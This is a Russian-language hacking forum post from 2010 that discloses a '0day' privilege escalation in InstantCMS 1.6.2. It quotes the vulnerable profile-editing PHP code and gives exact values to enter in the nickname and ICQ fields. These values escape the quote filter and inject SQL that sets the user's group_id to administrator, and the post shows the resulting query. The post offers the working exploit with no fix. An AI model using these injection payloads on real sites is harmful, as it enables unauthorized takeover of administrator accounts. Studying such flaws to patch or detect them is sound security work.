Показать сообщение отдельно

  #35  
Старый 16.05.2010, 12:58
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
С нами: 9389186

Репутация: 573
По умолчанию

УРА! Вышла стабильная версия instantCMS 1.6.2, в которой разработчики полатали все выложенные тут баги, но у меня была цель найти еще баг именно в этой версии, что из этого вышло смотрим ниже.

0day. Повышаение прав в cms до админа InstantCms <===1.6.2 (обход фильтра)

Как видно из названия, мы можем из простого юзера попасть в админа.
Need MQ=off
редактирование профиля:
/users/frontend.php
PHP код:

if ($do=='editprofile'){

    
$opt = $inCore->request('opt', 'str', 'edit');

    if (
usrCheckAuth()){
    
        if (
$inUser->id==$id || $inCore->userIsAdmin($inUser->id)){
        
                if (
$opt == 'save'){
                    
$errors = false;
                    
                    
$nickname = $inCore->request('nickname', 'str');
                    if (
strlen($nickname)<2) { cmsCore::addSessionMessage($_LANG['SHORT_NICKNAME'], 'error'); $errors = true; }

                    
$gender = $inCore->request('gender', 'str');
                    
                    
$city = $inCore->request('city', 'str');
                    if (
strlen($city)>20) { cmsCore::addSessionMessage($_LANG['LONG_CITY_NAME'], 'error'); $errors = true; }

                    
$email = $inCore->request('email', 'str');
                    if (!
strpos($email, '@') || !strpos($email, '.')) { cmsCore::addSessionMessage($_LANG['REALY_ADRESS_EMAIL'], 'error'); $errors = true; }
                    
                    
$showmail       = $inCore->request('showmail', 'int');
                    
$email_newmsg   = $inCore->request('email_newmsg', 'int');
                    
                    
$showbirth      = $inCore->request('showbirth', 'int');
                    
$description    = $inCore->request('description', 'str');
                    
                    
$birthdate      = (int)$_REQUEST['birthdate']['year'].'-'.(int)$_REQUEST['birthdate']['month'].'-'.(int)$_REQUEST['birthdate']['day'];
                    
$signature      = $inCore->request('signature', 'str');

                    
$allow_who      = $inCore->request('allow_who', 'str');
                    
                    
$icq            = $inCore->request('icq', 'str');
                    
$showicq        = $inCore->request('showicq', 'int');
                    
                    
$cm_subscribe   = $inCore->request('cm_subscribe', 'str');
                    
                    if (
$inCore->inRequest('field')){
                        foreach(
$_POST['field'] as $k=>$val){
                            
$_POST['field'][$k] = str_replace('\"', '&quot;', $_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace('"', '&quot;', $_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace("\'", '’', $_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace("'", '’', $_POST['field'][$k]);
                            
$_POST['field'][$k] = strip_tags($_POST['field'][$k]);
                        }                    
                        
$formsdata = $inCore->arrayToYaml($_POST['field']);
                        
$forms_sql = ", formsdata='$formsdata'";
                    } else {
                        
$forms_sql = '';
                    }
                    
                    if (!
$errors){
                       
                        
$sql = "UPDATE cms_user_profiles 
                                 SET city = '
$city',
                                    description = '
$description',
                                    showmail='
$showmail',
                                    showbirth='
$showbirth',
                                    showicq='
$showicq',
                                    allow_who='
$allow_who',
                                    signature='
$signature',
                                    gender='
$gender' $forms_sql,
                                    email_newmsg='
$email_newmsg',
                                    cm_subscribe='
$cm_subscribe'
                                WHERE user_id = 
$id";
                        
$inDB->query($sql) ;

                        
$sql = "UPDATE cms_users 
                                SET birthdate='
$birthdate',
                                    email='
$email',
                                    icq='
$icq',
                                    nickname='
$nickname'
                                WHERE id = 
$id";
                        
$inDB->query($sql) ;

                        
cmsCore::addSessionMessage($_LANG['PROFILE_SAVED'], 'info');

                    }

                    
$inCore->redirect(cmsUser::getProfileURL($inUser->login));
                    
                } 
Как устроен фильтр? У нас фильтр реплэсит
' (Кавычка)
\' (слеш+одинарная кавычка)
\" (слеш+двойная кавычка)
"(двойная кавычка)
насчет 2 и 3 я честно сказать не понял, что разработчики хотели этим мне доказать?
давайте обратим внимание на этот запрос.
Код:
						$sql = "UPDATE cms_users 
								SET birthdate='$birthdate',
									email='$email',
									icq='$icq',
									nickname='$nickname'
								WHERE id = $id";
						$inDB->query($sql) ;
Этот запрос апдейтит cms_users. (Через форму для апдейта). изменяет ICQ, email, nickname.
В этой таблице есть столбец отвечающий за группу пользователя: group_id Если она установлена на 1-то наш пользователь-юзер если 2-пользователь админ.
Здесь нам интересны $icq, $nickname. $email не интересен, так как он через регулярку проходит. $id-id юзера, у которого мы меняем данные.
Ну и как же нам внедрить себя в этот запрос с учетом вышеуказанного фильтра? ЭЛЕМЕНТРАРНО!
В поле ваше имя вбиваем: group_id=2 #\
В поле ICQ Вбиваем: 333s \
соответственно $icq=333s \ ; $nickname=group_id=2 #\
Давайте посмотрим, что у нас получилось.
Код:
						$sql = "UPDATE cms_users 
								SET birthdate='$birthdate',
									email='$email',
									icq='333s \',
									nickname=', group_id=2 #\'
								WHERE id = $id";

АГА. Жареным пахнет.
Мы заэкранировали кавычку и вышли в запрос, и закрыли icq мы открывающей кавычкой От nickname и дописали доболнительное значение group_id=2. После выполнения наш юзер, которому мы меняли данные примет group_id=2 и чудесным образом превратится в админа.
Вот такая вот интересная бага была найдена в новой версии instantCMS


Видео к теме:
Код:
https://forum.antichat.ru/showthread.php?p=2145955#post2145955

Последний раз редактировалось The matrix; 16.05.2010 в 17:41..
 
Ответить с цитированием